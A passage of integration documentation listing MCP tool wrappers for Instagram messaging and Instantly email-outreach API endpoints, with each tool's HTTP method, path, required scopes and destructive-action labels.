list of messages. Some optional parameters are available to filter the results. GET /api/v1/instagram/api/v1/messages. Scopes: read. instagram_get_messages_by_message_id (read) — Retrieve a message. GET /api/v1/messages/{message_id}. Retrieve the details of a message. GET /api/v1/instagram/api/v1/messages/{message_id}. Scopes: read. instagram_get_messages_by_message_id_attachments_by_attachment_id (read) — Retrieve an attachment from a message. GET /api/v1/messages/{message_id}/attachments/{attachment_id}. Retrieve one of the attachment linked to a message. The provider answers this route with the file's raw bytes. This connection has no artifact transport, so the tool returns the file's content type and byte length instead of its contents. GET /api/v1/instagram/api/v1/messages/{message_id}/attachments/{attachment_id}. Scopes: read. instagram_patch_chats_by_chat_id (write) — Perform an action on a given chat. PATCH /api/v1/chats/{chat_id}. Perform an action like changing the read status, muting the chat, retrieving a group invite link, etc. PATCH /api/v1/instagram/api/v1/chats/{chat_id}. Scopes: write. instagram_patch_messages_by_message_id (write) — Edit a message. PATCH /api/v1/messages/{message_id}. Edit a message. Supported for WhatsApp and LinkedIn Classic only. WhatsApp may reject edits after an indicative 15-minute window following the original send time. LinkedIn Classic edits are only possible within the first 60 minutes after the message is sent. PATCH /api/v1/instagram/api/v1/messages/{message_id}. Scopes: write. instagram_post_chats (write, destructive) — Start a new chat. POST /api/v1/chats. IRREVERSIBLE OUTWARD ACTION: this is visible to someone other than the account owner and cannot be undone through this API. Start a new conversation with one or more attendee. Attachments are not supported on this connection: the messaging provider accepts this operation only as multipart/form-data, and its file properties (attachments, linkedin.follow_up.attachments, video_message, voice_message) are omitted from this tool's schema because unbounded bytes must not enter a tool argument. Every text field is available and is sent as a multipart text part. POST /api/v1/instagram/api/v1/chats. Scopes: write. instagram_post_chats_by_chat_id_messages (write, destructive) — Send a message in a chat. POST /api/v1/chats/{chat_id}/messages. IRREVERSIBLE OUTWARD ACTION: this is visible to someone other than the account owner and cannot be undone through this API. Send a message to the given chat with the possibility to link some attachments. Attachments are not supported on this connection: the messaging provider accepts this operation only as multipart/form-data, and its file properties (attachments, video_message, voice_message) are omitted from this tool's schema because unbounded bytes must not enter a tool argument. Every text field is available and is sent as a multipart text part. POST /api/v1/instagram/api/v1/chats/{chat_id}/messages. Scopes: write. instagram_post_messages_by_message_id_forward (write, destructive) — Forward a message. POST /api/v1/messages/{message_id}/forward. IRREVERSIBLE OUTWARD ACTION: this is visible to someone other than the account owner and cannot be undone through this API. Forward a message to a chat. (Whatsapp only) POST /api/v1/instagram/api/v1/messages/{message_id}/forward. Scopes: write. instagram_post_messages_by_message_id_reaction (write, destructive) — Add a reaction to a message. POST /api/v1/messages/{message_id}/reaction. IRREVERSIBLE OUTWARD ACTION: this is visible to someone other than the account owner and cannot be undone through this API. Add a reaction to a message. (Whatsapp, LinkedIn, Telegram, Instagram) POST /api/v1/instagram/api/v1/messages/{message_id}/reaction. Scopes: write. ================================================================================ ## Instantly URL: https://www.agenticfabriq.com/integrations/instantly Section: Integrated Tools Instantly — 167 MCP tools Provider key: instantly. Scopes: account_campaign_mappings:read, accounts:create, accounts:delete, accounts:read, accounts:update, api_keys:create, api_keys:delete, api_keys:read, audit_logs:read, background-jobs:read, block_list_entries:create, block_list_entries:delete, block_list_entries:read, block_list_entries:update, campaigns:create, campaigns:delete, campaigns:read, campaigns:update, crm_actions:delete, crm_actions:read, custom_tag_mappings:read, custom_tags:create, custom_tags:delete, custom_tags:read, custom_tags:update, dfy_email_account_orders:create, dfy_email_account_orders:delete, dfy_email_account_orders:read, email_verifications:create, email_verifications:read, emails:create, emails:delete, emails:read, emails:update, inbox_placement_analytics:read, inbox_placement_reports:read, inbox_placement_tests:create, inbox_placement_tests:delete, inbox_placement_tests:read, inbox_placement_tests:update, lead-labels:create, lead-labels:delete, lead-labels:read, lead-labels:update, lead_lists:create, lead_lists:delete, lead_lists:read, lead_lists:update, leads:create, leads:delete, leads:read, leads:update, subsequences:create, subsequences:delete, subsequences:read, subsequences:update, supersearch_enrichments:create, supersearch_enrichments:read, webhook_events:read, webhooks:create, webhooks:delete, webhooks:read, webhooks:update, workspace_billing:read, workspace_group_members:create, workspace_group_members:delete, workspace_group_members:read, workspace_members:create, workspace_members:delete, workspace_members:read, workspace_members:update, workspaces:read, workspaces:update. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. instantly_delete_api_v2_accounts_by_email (write, destructive) — Delete account -- Requires one of the following scopes: `accounts:delete`, `accounts:all`, `all:delete`, `all:all` via DELETE /api/v2/accounts/{email}. Agentic Fabriq asks the connection for the narrowest of those, `accounts:delete`; any of the wider ones satisfies Instantly on this call. DELETE /api/v1/instantly/api/v2/accounts/{email}. Scopes: accounts:delete. instantly_delete_api_v2_api_keys_by_id (write, destructive) — Delete api key -- Requires one of the following scopes: `api_keys:delete`, `api_keys:all`, `all:delete`, `all:all` via DELETE /api/v2/api-keys/{id}. Agentic Fabriq asks the connection for the narrowest of those, `api_keys:delete`; any of the wider ones satisfies Instantly on this call. DELETE /api/v1/instantly/api/v2/api-keys/{id}. Scopes: api_keys:delete. instantly_delete_api_v2_block_lists_entries (write, destructive) — Delete all block list entries -- Requires one of the following scopes: `block_list_entries:delete`, `block_list_entries:all`, `all:delete`, `all:all` via DELETE /api/v2/block-lists-entries. Agentic Fabriq asks the connection for the narrowest of those, `block_list_entries:delete`; any of the wider ones satisfies Instantly on this call. DELETE /api/v1/instantly/api/v2/block-lists-entries. Scopes: block_list_entries:delete. instantly_delete_api_v2_block_lists_entries_by_id (write, destructive) — Delete block list entry -- Requires one of the following scopes: `block_list_entries:delete`, `block_list_entries:all`, `all:delete`, `all:all` via DELETE /api/v2/block-lists-entries/{id}. Agentic Fabriq asks the connection for the narrowest of those, `block_list_entries:delete`; any of the wider ones satisfies Instantly on this call. DELETE /api/v1/instantly/api/v2/block-lists-entries/{id}. Scopes: block_list_entries:delete. instantly_delete_api_v2_campaigns_by_id (write, destructive) — Delete campaign -- Requires one of the following scopes: `campaigns:delete`, `campaigns:all`, `all:delete`, `all:all` via DELETE /api/v2/campaigns/{id}. Agentic Fabriq asks the connection for the narrowest of those, `campaigns:delete`; any of the wider ones satisfies Instantly on this call. DELETE /api/v1/instantly/api/v2/campaigns/{id}. Scopes: campaigns:delete. instantly_delete_api_v2_crm_actions_phone_numbers_by_id (write, destructive) — Delete phone number -- Delete a specific phone number from the organization. Requires one of the following scopes: `crm_actions:delete`, `crm_actions:all`, `all:delete`, `all:all` via DELETE /api/v2/crm-actions/phone-numbers/{id}. Agentic Fabriq asks the connection for the narrowest of those, `crm_actions:delete`; any of the wider ones satisfies Instantly on this call. DELETE /api/v1/instantly/api/v2/crm-actions/phone-numbers/{id}. Scopes: crm_actions:delete. instantly_delete_api_v2_custom_tags_by_id (write, destructive) — Delete custom tag -- Requires one of the following scopes: `custom_tags:delete`, `custom_tags:all`, `all:delete`, `all:all` via DELETE /api/v2/custom-tags/{id}. Agentic Fabriq asks the connection for the narrowest of those, `custom_tags:delete`; any of the wider ones satisfies Instantly on this call. DELETE /api/v1/instantly/api/v2/custom-tags/{id}. Scopes: custom_tags:delete. instantly_delete_api_v2_emails_by_id (write, destructive) — Delete email -- Requires one of the following scopes: `emails:delete`, `emails:all`, `all:delete`, `all:all` via DELETE /api/v2/emails/{id}. Agentic Fabriq asks the connection for the narrowest of those, `emails:delete`; any of the wider ones satisfies Instantly on this call. DELETE /api/v1/instantly/api/v2/emails/{id}. Scopes: emails:delete. instantly_delete_api_v2_inbox_placement_tests_by_id (write, destructive) — Delete inbox placement test -- Requires one of the following scopes: `inbox_placement_tests:delete`, `inbox_placement_tests:all`, `all:delete`, `all:all` via DELETE /api/v2/inbox-placement-tests/{id}. Agentic Fabriq asks the connection for the narrowest of those, `inbox_placement_tests:delete`; any of the wider ones satisfies Instantly on this call. DELETE /api/v1/instantly/api/v2/inbox-placement-tests/{id}. Scopes: inbox_placement_tests:delete. instantly_delete_api_v2_lead_labels_by_id (write, destructive) — Delete lead label -- Requires one of the following scopes: `lead-labels:delete`, `lead-labels:all`, `all:delete`, `all:all` via DELETE /api/v2/lead-labels/{id}. Agentic Fabriq asks the connection for the narrowest of those, `lead-labels:delete`; any of the wider ones satisfies Instantly on this call. DELETE /api/v1/instantly/api/v2/lead-labels/{id}. Scopes: lead-labels:delete. instantly_delete_api_v2_lead_lists_by_id (write, destructive) — Delete lead list -- Requires one of the following scopes: `lead_lists:delete`, `lead_lists:all`, `all:delete`, `all:all` via DELETE /api/v2/lead-lists/{id}. Agentic Fabriq asks the connection for the narrowest of those, `lead_lists:delete`; any of the wider ones satisfies Instantly on this call. DELETE /api/v1/instantly/api/v2/lead-lists/{id}. Scopes: lead_lists:delete. instantly_delete_api_v2_leads (write, destructive) — Delete leads in bulk -- Delete multiple leads from a campaign or list based on filters. You must provide either `campaign_id` or `list_id`. Optionally filter by status or specific IDs. Requires one of the following scopes: `leads:delete`, `leads:all`, `all:delete`, `all:all` via DELETE /api/v2/leads. Agentic Fabriq asks the connection for the narrowest of those, `leads:delete`; any of the wider ones satisfies Instantly on this call. DELETE /api/v1/instantly/api/v2/leads. Scopes: leads:delete. instantly_delete_api_v2_leads_by_id (write, destructive) — Delete lead -- Requires one of the following scopes: `leads:delete`, `leads:all`, `all:delete`, `all:all` via DELETE /api/v2/leads/{id}. Agentic Fabriq asks the connection for the narrowest of those, `leads:delete`; any of the wider ones satisfies Instantly on this call. DELETE /api/v1/instantly/api/v2/leads/{id}. Scopes: leads:delete. instantly_delete_api_v2_subsequences_by_id (write, destructive) — Delete campaign subsequence -- Requires one of the following scopes: `subsequences:delete`, `subsequences:all`, `all:delete`, `all:all` via DELETE /api/v2/subsequences/{id}. Agentic Fabriq asks the connection for the narrowest of those, `subsequences:delete`; any of the wider ones satisfies Instantly on this call. DELETE /api/v1/instantly/api/v2/subsequences/{id}. Scopes: subsequences:delete. instantly_delete_api_v2_webhooks_by_id (write, destructive) — Delete webhook -- Requires one of the following scopes: `webhooks:delete`, `webhooks:all`, `all:delete`, `all:all` via DELETE /api/v2/webhooks/{id}. Agentic Fabriq asks the connection for the narrowest of those, `webhooks:delete`; any of the wider ones satisfies Instantly on this call. DELETE /api/v1/instantly/api/v2/webhooks/{id}. Scopes: webhooks:delete. instantly_delete_api_v2_workspace_group_members_by_id (write, destructive) — Delete workspace group member -- Requires one of the following scopes: `workspace_group_members:delete`, `workspace_group_members:all`, `all:delete`, `all:all` via DELETE /api/v2/workspace-group-members/{id}. Agentic Fabriq asks the connection for the narrowest of those, `workspace_group_members:delete`; any of the wider ones satisfies Instantly on this call. DELETE /api/v1/instantly/api/v2/workspace-group-members/{id}. Scopes: workspace_group_members:delete. instantly_delete_api_v2_workspace_members_by_id (write, destructive) — Delete workspace member -- Requires one of the following scopes: `workspace_members:delete`, `workspace_members:all`, `all:delete`, `all:all` via DELETE /api/v2/workspace-members/{id}. Agentic Fabriq asks the connection for the narrowest of those, `workspace_members:delete`; any of the wider ones satisfies Instantly on this call. DELETE /api/v1/instantly/api/v2/workspace-members/{id}. Scopes: workspace_members:delete. instantly_delete_api_v2_workspaces_current_whitelabel_domain (write, destructive) — Delete organization agency domain -- Requires one of the following scopes: `workspaces:update`, `workspaces:all`, `all:update`, `all:all` via DELETE /api/v2/workspaces/current/whitelabel-domain. Agentic Fabriq asks the connection for the narrowest of those, `workspaces:update`; any of the wider ones satisfies Instantly on this call. DELETE /api/v1/instantly/api/v2/workspaces/current/whitelabel-domain. Scopes: workspaces:update. instantly_get_api_v2_account_campaign_mappings_by_email (read) — Get campaigns associated with an email -- Requires one of the following scopes: `account_campaign_mappings:read`, `account_campaign_mappings:all`, `all:read`, `all:all` via GET /api/v2/account-campaign-mappings/{email}. Agentic Fabriq asks the connection for the narrowest of those, `account_campaign_mappings:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/account-campaign-mappings/{email}. Scopes: account_campaign_mappings:read. instantly_get_api_v2_accounts (read) — List account -- Requires one of the following scopes: `accounts:read`, `accounts:all`, `all:read`, `all:all` via GET /api/v2/accounts. Agentic Fabriq asks the connection for the narrowest of those, `accounts:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/accounts. Scopes: accounts:read. instantly_get_api_v2_accounts_analytics_daily (read) — Get daily account analytics showing the number of emails sent per day for each email account. Useful for tracking daily sending activity across your accounts. via GET /api/v2/accounts/analytics/daily. Instantly's reference states no scope requirement for this operation, so this tool requires none; a narrowly-scoped key may still be refused by the provider, in which case mint one carrying `all:all`. GET /api/v1/instantly/api/v2/accounts/analytics/daily. Scopes: none. instantly_get_api_v2_accounts_by_email (read) — Get account -- Requires one of the following scopes: `accounts:read`, `accounts:all`, `all:read`, `all:all` via GET /api/v2/accounts/{email}. Agentic Fabriq asks the connection for the narrowest of those, `accounts:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/accounts/{email}. Scopes: accounts:read. instantly_get_api_v2_accounts_ctd_status (read) — Get custom tracking domain status -- Requires one of the following scopes: `accounts:read`, `accounts:all`, `all:read`, `all:all` via GET /api/v2/accounts/ctd/status. Agentic Fabriq asks the connection for the narrowest of those, `accounts:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/accounts/ctd/status. Scopes: accounts:read. instantly_get_api_v2_api_keys (read) — List api key -- Requires one of the following scopes: `api_keys:read`, `api_keys:all`, `all:read`, `all:all` via GET /api/v2/api-keys. Agentic Fabriq asks the connection for the narrowest of those, `api_keys:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/api-keys. Scopes: api_keys:read. instantly_get_api_v2_audit_logs (read) — List audit log -- Requires one of the following scopes: `audit_logs:read`, `audit_logs:all`, `all:read`, `all:all` via GET /api/v2/audit-logs. Agentic Fabriq asks the connection for the narrowest of those, `audit_logs:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/audit-logs. Scopes: audit_logs:read. instantly_get_api_v2_background_jobs (read) — List background job -- Requires one of the following scopes: `background-jobs:read`, `background-jobs:all`, `all:read`, `all:all` via GET /api/v2/background-jobs. Agentic Fabriq asks the connection for the narrowest of those, `background-jobs:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/background-jobs. Scopes: background-jobs:read. instantly_get_api_v2_background_jobs_by_id (read) — Get background job -- Requires one of the following scopes: `background-jobs:read`, `background-jobs:all`, `all:read`, `all:all` via GET /api/v2/background-jobs/{id}. Agentic Fabriq asks the connection for the narrowest of those, `background-jobs:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/background-jobs/{id}. Scopes: background-jobs:read. instantly_get_api_v2_block_lists_entries (read) — List block list entry -- Requires one of the following scopes: `block_list_entries:read`, `block_list_entries:all`, `all:read`, `all:all` via GET /api/v2/block-lists-entries. Agentic Fabriq asks the connection for the narrowest of those, `block_list_entries:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/block-lists-entries. Scopes: block_list_entries:read. instantly_get_api_v2_block_lists_entries_by_id (read) — Get block list entry -- Requires one of the following scopes: `block_list_entries:read`, `block_list_entries:all`, `all:read`, `all:all` via GET /api/v2/block-lists-entries/{id}. Agentic Fabriq asks the connection for the narrowest of those, `block_list_entries:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/block-lists-entries/{id}. Scopes: block_list_entries:read. instantly_get_api_v2_block_lists_entries_download (read) — Download all block list entries as CSV -- Requires one of the following scopes: `block_list_entries:read`, `block_list_entries:all`, `all:read`, `all:all` via GET /api/v2/block-lists-entries/download. Agentic Fabriq asks the connection for the narrowest of those, `block_list_entries:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/block-lists-entries/download. Scopes: block_list_entries:read. instantly_get_api_v2_campaigns (read) — List campaign -- Requires one of the following scopes: `campaigns:read`, `campaigns:all`, `all:read`, `all:all` via GET /api/v2/campaigns. Agentic Fabriq asks the connection for the narrowest of those, `campaigns:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/campaigns. Scopes: campaigns:read. instantly_get_api_v2_campaigns_analytics (read) — Get campaign(s) analytics -- Get analytics for one or multiple campaigns. Specify the `id` field to get the analytics for a single campaign, or leave it empty to get the analytics for all campaigns via GET /api/v2/campaigns/analytics. Instantly's reference states no scope requirement for this operation, so this tool requires none; a narrowly-scoped key may still be refused by the provider, in which case mint one carrying `all:all`. GET /api/v1/instantly/api/v2/campaigns/analytics. Scopes: none. instantly_get_api_v2_campaigns_analytics_daily (read) — Get daily campaign analytics -- Get campaign daily analytics via GET /api/v2/campaigns/analytics/daily. Instantly's reference states no scope requirement for this operation, so this tool requires none; a narrowly-scoped key may still be refused by the provider, in which case mint one carrying `all:all`. GET /api/v1/instantly/api/v2/campaigns/analytics/daily. Scopes: none. instantly_get_api_v2_campaigns_analytics_overview (read) — Get campaign(s) analytics overview -- Get analytics overview for one or multiple campaigns. Specify the `id` field to get the analytics overview for a single campaign, or leave it empty to get the analytics overview for all campaigns. Note regarding the interest status totals (interested, meeting booked, meeting completed, closed): these are calculated based on the first occurrence of each event per contact by default. To change this behavior and calculate the totals based on all occurrences of the events, set the `expand_crm_events` parameter to `true`. Additionally, there is a 10 minute time window after you change a lead status in which the subsequent updates will NOT insert new analytics events to avoid duplicates from rapid status changes and avoid false inflation of the analytics numbers. via GET /api/v2/campaigns/analytics/overview. Instantly's reference states no scope requirement for this operation, so this tool requires none; a narrowly-scoped key may still be refused by the provider, in which case mint one carrying `all:all`. GET /api/v1/instantly/api/v2/campaigns/analytics/overview. Scopes: none. instantly_get_api_v2_campaigns_analytics_steps (read) — Get campaign steps analytics via GET /api/v2/campaigns/analytics/steps. Instantly's reference states no scope requirement for this operation, so this tool requires none; a narrowly-scoped key may still be refused by the provider, in which case mint one carrying `all:all`. GET /api/v1/instantly/api/v2/campaigns/analytics/steps. Scopes: none. instantly_get_api_v2_campaigns_by_id (read) — Get campaign -- Requires one of the following scopes: `campaigns:read`, `campaigns:all`, `all:read`, `all:all` via GET /api/v2/campaigns/{id}. Agentic Fabriq asks the connection for the narrowest of those, `campaigns:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/campaigns/{id}. Scopes: campaigns:read. instantly_get_api_v2_campaigns_by_id_sending_status (read) — Get campaign sending status -- Returns sending status data explaining why a campaign may not be sending emails or is sending slower than expected. Note: Some fields may be missing when the campaign is out of schedule. Always-present fields: campaign_id, last_updated, status, issue_tracking. Requires one of the following scopes: `campaigns:read`, `campaigns:all`, `all:read`, `all:all` via GET /api/v2/campaigns/{id}/sending-status. Agentic Fabriq asks the connection for the narrowest of those, `campaigns:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/campaigns/{id}/sending-status. Scopes: campaigns:read. instantly_get_api_v2_campaigns_count_launched (read) — Get launched campaigns count -- Requires one of the following scopes: `campaigns:read`, `campaigns:all`, `all:read`, `all:all` via GET /api/v2/campaigns/count-launched. Agentic Fabriq asks the connection for the narrowest of those, `campaigns:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/campaigns/count-launched. Scopes: campaigns:read. instantly_get_api_v2_campaigns_search_by_contact (read) — Search campaigns by lead email -- Requires one of the following scopes: `campaigns:read`, `campaigns:all`, `all:read`, `all:all` via GET /api/v2/campaigns/search-by-contact. Agentic Fabriq asks the connection for the narrowest of those, `campaigns:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/campaigns/search-by-contact. Scopes: campaigns:read. instantly_get_api_v2_crm_actions_phone_numbers (read) — List phone numbers -- Retrieve all phone numbers associated with the current organization. Requires one of the following scopes: `crm_actions:read`, `crm_actions:all`, `all:read`, `all:all` via GET /api/v2/crm-actions/phone-numbers. Agentic Fabriq asks the connection for the narrowest of those, `crm_actions:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/crm-actions/phone-numbers. Scopes: crm_actions:read. instantly_get_api_v2_custom_tag_mappings (read) — List custom tag mapping -- Requires one of the following scopes: `custom_tag_mappings:read`, `custom_tag_mappings:all`, `all:read`, `all:all` via GET /api/v2/custom-tag-mappings. Agentic Fabriq asks the connection for the narrowest of those, `custom_tag_mappings:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/custom-tag-mappings. Scopes: custom_tag_mappings:read. instantly_get_api_v2_custom_tags (read) — List custom tag -- Requires one of the following scopes: `custom_tags:read`, `custom_tags:all`, `all:read`, `all:all` via GET /api/v2/custom-tags. Agentic Fabriq asks the connection for the narrowest of those, `custom_tags:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/custom-tags. Scopes: custom_tags:read. instantly_get_api_v2_custom_tags_by_id (read) — Get custom tag -- Requires one of the following scopes: `custom_tags:read`, `custom_tags:all`, `all:read`, `all:all` via GET /api/v2/custom-tags/{id}. Agentic Fabriq asks the connection for the narrowest of those, `custom_tags:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/custom-tags/{id}. Scopes: custom_tags:read. instantly_get_api_v2_dfy_email_account_orders (read) — List dfy email account order -- Requires one of the following scopes: `dfy_email_account_orders:read`, `dfy_email_account_orders:all`, `all:read`, `all:all` via GET /api/v2/dfy-email-account-orders. Agentic Fabriq asks the connection for the narrowest of those, `dfy_email_account_orders:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/dfy-email-account-orders. Scopes: dfy_email_account_orders:read. instantly_get_api_v2_dfy_email_account_orders_accounts (read) — List DFY ordered email accounts -- This endpoint will return a list of DFY email accounts ordered Requires one of the following scopes: `dfy_email_account_orders:read`, `dfy_email_account_orders:all`, `all:read`, `all:all` via GET /api/v2/dfy-email-account-orders/accounts. Agentic Fabriq asks the connection for the narrowest of those, `dfy_email_account_orders:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/dfy-email-account-orders/accounts. Scopes: dfy_email_account_orders:read. instantly_get_api_v2_email_verification_by_email (read) — Check an email verification status -- Requires one of the following scopes: `email_verifications:read`, `email_verifications:all`, `all:read`, `all:all` via GET /api/v2/email-verification/{email}. Agentic Fabriq asks the connection for the narrowest of those, `email_verifications:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/email-verification/{email}. Scopes: email_verifications:read. instantly_get_api_v2_emails (read) — List email -- **Rate Limit:** This endpoint has a rate limit of 20 requests per minute, unlike other API endpoints. Requires one of the following scopes: `emails:read`, `emails:all`, `all:read`, `all:all` via GET /api/v2/emails. Agentic Fabriq asks the connection for the narrowest of those, `emails:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/emails. Scopes: emails:read. instantly_get_api_v2_emails_by_id (read) — Get email -- Requires one of the following scopes: `emails:read`, `emails:all`, `all:read`, `all:all` via GET /api/v2/emails/{id}. Agentic Fabriq asks the connection for the narrowest of those, `emails:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/emails/{id}. Scopes: emails:read. instantly_get_api_v2_emails_unread_count (read) — Count unread emails -- Requires one of the following scopes: `emails:read`, `emails:all`, `all:read`, `all:all` via GET /api/v2/emails/unread/count. Agentic Fabriq asks the connection for the narrowest of those, `emails:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/emails/unread/count. Scopes: emails:read. instantly_get_api_v2_inbox_placement_analytics (read) — List inbox placement analytics -- Requires one of the following scopes: `inbox_placement_analytics:read`, `inbox_placement_analytics:all`, `all:read`, `all:all` via GET /api/v2/inbox-placement-analytics. Agentic Fabriq asks the connection for the narrowest of those, `inbox_placement_analytics:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/inbox-placement-analytics. Scopes: inbox_placement_analytics:read. instantly_get_api_v2_inbox_placement_analytics_by_id (read) — Get inbox placement analytics -- Requires one of the following scopes: `inbox_placement_analytics:read`, `inbox_placement_analytics:all`, `all:read`, `all:all` via GET /api/v2/inbox-placement-analytics/{id}. Agentic Fabriq asks the connection for the narrowest of those, `inbox_placement_analytics:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/inbox-placement-analytics/{id}. Scopes: inbox_placement_analytics:read. instantly_get_api_v2_inbox_placement_reports (read) — List inbox placement blacklist & spamassassin report -- Requires one of the following scopes: `inbox_placement_reports:read`, `inbox_placement_reports:all`, `all:read`, `all:all` via GET /api/v2/inbox-placement-reports. Agentic Fabriq asks the connection for the narrowest of those, `inbox_placement_reports:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/inbox-placement-reports. Scopes: inbox_placement_reports:read. instantly_get_api_v2_inbox_placement_reports_by_id (read) — Get inbox placement blacklist & spamassassin report -- Requires one of the following scopes: `inbox_placement_reports:read`, `inbox_placement_reports:all`, `all:read`, `all:all` via GET /api/v2/inbox-placement-reports/{id}. Agentic Fabriq asks the connection for the narrowest of those, `inbox_placement_reports:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/inbox-placement-reports/{id}. Scopes: inbox_placement_reports:read. instantly_get_api_v2_inbox_placement_tests (read) — List inbox placement test -- Requires one of the following scopes: `inbox_placement_tests:read`, `inbox_placement_tests:all`, `all:read`, `all:all` via GET /api/v2/inbox-placement-tests. Agentic Fabriq asks the connection for the narrowest of those, `inbox_placement_tests:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/inbox-placement-tests. Scopes: inbox_placement_tests:read. instantly_get_api_v2_inbox_placement_tests_by_id (read) — Get inbox placement test -- Requires one of the following scopes: `inbox_placement_tests:read`, `inbox_placement_tests:all`, `all:read`, `all:all` via GET /api/v2/inbox-placement-tests/{id}. Agentic Fabriq asks the connection for the narrowest of those, `inbox_placement_tests:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/inbox-placement-tests/{id}. Scopes: inbox_placement_tests:read. instantly_get_api_v2_inbox_placement_tests_email_service_provider_options (read) — Get ESP options -- Provides a list of available email service providers for inbox placement tests. via GET /api/v2/inbox-placement-tests/email-service-provider-options. Instantly's reference states no scope requirement for this operation, so this tool requires none; a narrowly-scoped key may still be refused by the provider, in which case mint one carrying `all:all`. GET /api/v1/instantly/api/v2/inbox-placement-tests/email-service-provider-options. Scopes: none. instantly_get_api_v2_lead_labels (read) — List lead label -- Requires one of the following scopes: `lead-labels:read`, `lead-labels:all`, `all:read`, `all:all` via GET /api/v2/lead-labels. Agentic Fabriq asks the connection for the narrowest of those, `lead-labels:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/lead-labels. Scopes: lead-labels:read. instantly_get_api_v2_lead_labels_by_id (read) — Get lead label -- Requires one of the following scopes: `lead-labels:read`, `lead-labels:all`, `all:read`, `all:all` via GET /api/v2/lead-labels/{id}. Agentic Fabriq asks the connection for the narrowest of those, `lead-labels:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/lead-labels/{id}. Scopes: lead-labels:read. instantly_get_api_v2_lead_lists (read) — List lead list -- Requires one of the following scopes: `lead_lists:read`, `lead_lists:all`, `all:read`, `all:all` via GET /api/v2/lead-lists. Agentic Fabriq asks the connection for the narrowest of those, `lead_lists:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/lead-lists. Scopes: lead_lists:read. instantly_get_api_v2_lead_lists_by_id (read) — Get lead list -- Requires one of the following scopes: `lead_lists:read`, `lead_lists:all`, `all:read`, `all:all` via GET /api/v2/lead-lists/{id}. Agentic Fabriq asks the connection for the narrowest of those, `lead_lists:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/lead-lists/{id}. Scopes: lead_lists:read. instantly_get_api_v2_lead_lists_by_id_verification_stats (read) — Get verification statistics for a lead list via GET /api/v2/lead-lists/{id}/verification-stats. Instantly's reference states no scope requirement for this operation, so this tool requires none; a narrowly-scoped key may still be refused by the provider, in which case mint one carrying `all:all`. GET /api/v1/instantly/api/v2/lead-lists/{id}/verification-stats. Scopes: none. instantly_get_api_v2_leads_by_id (read) — Get lead -- Requires one of the following scopes: `leads:read`, `leads:all`, `all:read`, `all:all` via GET /api/v2/leads/{id}. Agentic Fabriq asks the connection for the narrowest of those, `leads:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/leads/{id}. Scopes: leads:read. instantly_get_api_v2_oauth_session_status_by_sessionid (read) — Get oauth session status -- Poll this endpoint to check the OAuth session result. Works for both Google and Microsoft OAuth sessions. Returns pending while waiting, success with account details when complete, or error if something went wrong. Sessions expire after 10 minutes. via GET /api/v2/oauth/session/status/{sessionId}. Instantly's reference states no scope requirement for this operation, so this tool requires none; a narrowly-scoped key may still be refused by the provider, in which case mint one carrying `all:all`. GET /api/v1/instantly/api/v2/oauth/session/status/{sessionId}. Scopes: none. instantly_get_api_v2_subsequences (read) — List campaign subsequence -- Requires one of the following scopes: `subsequences:read`, `subsequences:all`, `all:read`, `all:all` via GET /api/v2/subsequences. Agentic Fabriq asks the connection for the narrowest of those, `subsequences:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/subsequences. Scopes: subsequences:read. instantly_get_api_v2_subsequences_by_id (read) — Get campaign subsequence -- Requires one of the following scopes: `subsequences:read`, `subsequences:all`, `all:read`, `all:all` via GET /api/v2/subsequences/{id}. Agentic Fabriq asks the connection for the narrowest 